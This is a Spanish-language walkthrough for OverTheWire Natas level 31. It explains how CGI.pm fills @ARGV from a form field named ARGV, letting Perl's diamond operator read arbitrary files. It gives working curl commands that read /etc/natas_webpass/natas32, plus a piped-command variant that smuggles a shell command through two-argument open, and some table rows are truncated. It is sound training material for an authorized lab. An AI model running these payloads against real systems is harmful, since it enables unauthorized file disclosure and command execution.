Natas Nivel 31 a 32

Nivel oficial: http://natas31.natas.labs.overthewire.org

Este nivel expone una aplicacion Perl/CGI con subida de ficheros. El fallo no esta en la logica de negocio, sino en una caracteristica del propio lenguaje: el operador diamante <> de Perl, cuando se alimenta de @ARGV, interpreta ciertos valores como nombres de fichero o incluso como comandos de shell. Manipulando el nombre de un campo de formulario es posible leer ficheros arbitrarios del servidor.

Laboratorio legal y autorizado. OverTheWire es una plataforma educativa de wargames. Practica estas tecnicas unicamente en entornos con permiso explicito.


Objetivo

Hacer que el servidor Perl lea y devuelva el contenido de /etc/natas_webpass/natas32, obteniendo asi la contrasena de natas32 (<pass_natas32>).


Que aprendes

Concepto / ComandoPara que sirve
Operador diamante <> en PerlLeer lineas de ficheros o STDIN; usa @ARGV como lista de fuentes si esta poblado
open de 2 argumentos en PerlAbre ficheros sin separar modo de nombre; vulnerable a inyeccion de modo (`
Abuso de @ARGV en CGIUn parametro de formulario con nombre ARGV inyecta valores en la lista de ficheros que <> leera
Multipart form-data en curlConstruir peticiones con campos de texto y ficheros en el mismo envio
LFI (Local File Inclusion)Leer ficheros locales del servidor desde una peticion HTTP

Concepto clave

Lectura de ficheros arbitrarios via @ARGV y el operador diamante en Perl CGI

En Perl, el operador diamante <> sin argumento es azucar sintactico para <ARGV>. Su comportamiento es:

  1. Si @ARGV esta vacio, lee de STDIN.
  2. Si @ARGV tiene elementos, los interpreta como nombres de fichero, los abre uno a uno y los lee en orden.

En un contexto CGI, los parametros del formulario se convierten en variables del entorno o se procesan con modulos como CGI.pm. El modulo clasico CGI.pm rellena @ARGV con los valores del parametro cuyo nombre es ARGV. Esto significa que si la peticion HTTP incluye un campo llamado exactamente ARGV con valor /etc/natas_webpass/natas32, el script Perl leera ese fichero cuando ejecute <> o while (<>).

La categoria OWASP mas proxima es A03:2021 - Injection (inyeccion de parametros que controlan el flujo de entrada de datos) y A01:2021 - Broken Access Control (acceso a ficheros fuera del ambito previsto).

Nota sobre ajuste fino: El mecanismo de @ARGV/<> es real y documentado. Sin embargo, el codigo exacto del nivel en vivo puede requerir que el campo ARGV llegue como parte de un envio multipart (junto con el fichero que el formulario espera) o como parametro de query string, segun como el script procese la entrada. Los pasos siguientes cubren la variante mas comun; si no funciona, revisa el codigo fuente del nivel y ajusta el nombre del campo o el metodo de envio.


Paso a paso

  1. Observa el formulario del nivel. La pagina presenta un input de tipo file y envia la peticion como multipart/form-data. Revisa el codigo fuente HTML para identificar el nombre del campo de fichero (normalmente file) y la accion del formulario.

  2. Comprueba el codigo fuente del script (el nivel suele enlazar o mostrar el .pl). Busca cualquier uso de <>, while (<>), o CGI->param. Confirma que el script llama a <> sin argumento o itera sobre @ARGV.

  3. Construye la peticion maliciosa que envia simultaneamente:

    • El fichero que el formulario espera (puede ser un CSV vacio o con contenido arbitrario, para satisfacer validaciones superficiales).
    • Un campo de texto con nombre ARGV y valor /etc/natas_webpass/natas32.
curl -s \
  -u natas31:<pass_natas31> \
  -F "file=@/dev/null;type=text/csv;filename=dummy.csv" \
  -F "ARGV=/etc/natas_webpass/natas32" \
  "http://natas31.natas.labs.overthewire.org/index.pl"

Desglose de los flags:

  • -F "file=@/dev/null;..." envia un fichero vacio como campo file para que el script no falle en validaciones de presencia.
  • -F "ARGV=/etc/natas_webpass/natas32" inyecta el valor en @ARGV via CGI.pm.
  1. Lee la respuesta del servidor. Si el ataque tiene exito, el cuerpo HTML contendra la contrasena de natas32 integrada en la salida que el script produce al iterar <>.
curl -s \
  -u natas31:<pass_natas31> \
  -F "file=@/dev/null;type=text/csv;filename=dummy.csv" \
  -F "ARGV=/etc/natas_webpass/natas32" \
  "http://natas31.natas.labs.overthewire.org/index.pl" \
  | grep -oE '[a-zA-Z0-9]{32,}'

La contrasena de natas en OverTheWire suele ser una cadena alfanumerica de 32 caracteres. El grep filtra candidatos.

  1. (Variante) Si el script usa open de 2 argumentos con un valor de @ARGV, tambien es posible ejecutar comandos con el prefijo |:
# AVISO: esto solo funciona si el codigo usa open($fh, $valor) sin separar modo.
# En muchos niveles de natas, el objetivo es solo leer ficheros, no ejecutar comandos.
-F "ARGV=|cat /etc/natas_webpass/natas32 |"

Esta variante puede requerir ajuste segun la version de CGI.pm y la configuracion de Perl. No la uses si el objetivo es solo lectura de fichero.


Por que funciona

CGI.pm (el modulo CGI clasico de Perl) tiene un comportamiento historico: cuando procesa los parametros de una peticion, si existe un parametro llamado ARGV, rellena la variable global @ARGV del script con sus valores. Este comportamiento fue disenado para permitir que scripts CGI recibiesen argumentos de linea de comandos via HTTP, pero crea un vector de ataque cuando el script usa <>.

El operador diamante <> equivale a:

# Lo que Perl hace internamente:
while (defined($_ = <ARGV>)) { ... }
# Que a su vez hace:
open(ARGV, $ARGV[0]);  # abre el primer elemento de @ARGV como fichero

Si @ARGV[0] es /etc/natas_webpass/natas32, Perl abre ese fichero y su contenido fluye por el bucle, terminando en la salida del script.

El fallo de diseno es doble: (1) CGI.pm expone una variable global del interprete (@ARGV) a traves de la entrada HTTP, y (2) el script no valida ni limpia @ARGV antes de que <> lo consuma.


Errores comunes

ErrorCausa probableSolucion
El servidor devuelve un error de validacion de CSVEl script comprueba que el fichero subido tenga contenido o extension correctaSube un CSV minimo: -F "file=a,b,c;type=text/csv;filename=dummy.csv" en lugar de /dev/null
La respuesta no incluye la contrasena pero tampoco hay errorEl campo no se llama ARGV en el formulario de ese despliegue concretoRevisa el codigo fuente del script .pl para confirmar el nombre del parametro y el uso de <>
curl codifica mal el campo multipartMezcla de -d y -F en la misma llamadaUsa solo -F para todos los campos cuando el formulario es multipart/form-data
El ataque de `comando` no ejecuta nada

Pasar al siguiente nivel

Con la contrasena <pass_natas32> obtenida, accede a:

http://natas32.natas.labs.overthewire.org

Credenciales: usuario natas32, contrasena <pass_natas32>.


Conexiones